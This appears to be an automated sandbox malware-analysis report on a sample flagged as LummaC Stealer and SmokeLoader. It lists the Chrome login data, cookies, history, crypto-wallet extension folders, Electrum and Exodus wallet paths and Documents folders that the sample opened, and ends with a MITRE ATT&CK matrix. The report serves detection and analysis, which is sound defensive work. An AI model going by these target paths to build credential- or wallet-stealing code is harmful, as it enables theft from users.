Source: explorer.exe, 00000001.00000000.896992671.0000000005AA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.896527065.0000000001370000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.897166036.0000000009E75000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.896527065.0000000001370000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.896472845.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman4

Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\6E11.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6E11.exe

Code function: 21_2_6F1084B0 cpuid

21_2_6F1084B0

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6E11.exe

Code function: 21_2_6F10A25A GetSystemTimeAsFileTime,__aulldiv,

21_2_6F10A25A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 22_2_00458344 GetTimeZoneInformation,

22_2_00458344

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1048474823.000000000407D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 1072, type: MEMORYSTR

Yara detected SmokeLoader

Source: Yara match	File source: 0.3.file.exe.2330000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.aueuggs.2510000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.2320e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.aueuggs.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.aueuggs.2500e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.900683183.0000000002361000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.951015355.0000000002531000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.885330632.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.939764066.0000000002510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.900666807.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.951003696.0000000002510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000016.00000002.1121991366.00000000014D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: RegAsm.exe, 00000016.00000002.1122515831.00000000039FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Chrome/Default/Extensions/Jaxx LibertydF0NdjJo58nT0loLbtodKZ23OZhLcN9em0eOFkHMnSDDoHXgvtfsQLScjWLBkJbgF624OaTBqFEdz9n8Z8wG55Rgg/+51wbvE2hwX0757WmxEmrxv/xXaLGymhbnQy3+xX+FFudFW/yoyAEMauM/okcYuyQRgMCydQt1iZfASy7xEojoSzwBRDkJkdjKJHcu3AkXK2TG+6s/vaP/zE9f/9wPowfqt10CriCRDqB5uozyOMH57kspsCVwmgelfFrVvWcK2fIAGHzH56BiDIF9NGv31M1NtKXNeZ2UtetPTYWLQiHb4bLfWJ5VjWbdvEB/PTkJBmah5Y7T1iBTemR6Esjh
Source: RegAsm.exe, 00000016.00000002.1121991366.0000000001516000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "%appdata%\\Exodus\\exodus.wallet",
Source: RegAsm.exe, 00000016.00000002.1122515831.00000000039FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Chrome/Default/Extensions/ExodusWeb3
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000149A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: RegAsm.exe, 00000016.00000002.1121991366.0000000001516000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000005.ldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000008.log	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000007.ldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 1072, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\Outlook Files	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Directory queried: C:\Users\user\Documents\Outlook Files	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1048474823.000000000407D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 1072, type: MEMORYSTR

Yara detected SmokeLoader

Source: Yara match	File source: 0.3.file.exe.2330000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.aueuggs.2510000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.2320e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.aueuggs.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.aueuggs.2500e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.900683183.0000000002361000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.951015355.0000000002531000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.885330632.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.939764066.0000000002510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.900666807.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.951003696.0000000002510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\6E11.exe

Code function: 21_2_6F0BA0C0 CorBindToRuntimeEx,GetModuleHandleW,GetModuleHandleW,__cftoe,GetModuleHandleW,GetProcAddress,

21_2_6F0BA0C0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	12 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Exploitation for Client Execution	Boot or Logon Initialization Scripts	612 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	12 File and Directory Discovery	Remote Desktop Protocol	21 Data from Local System	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
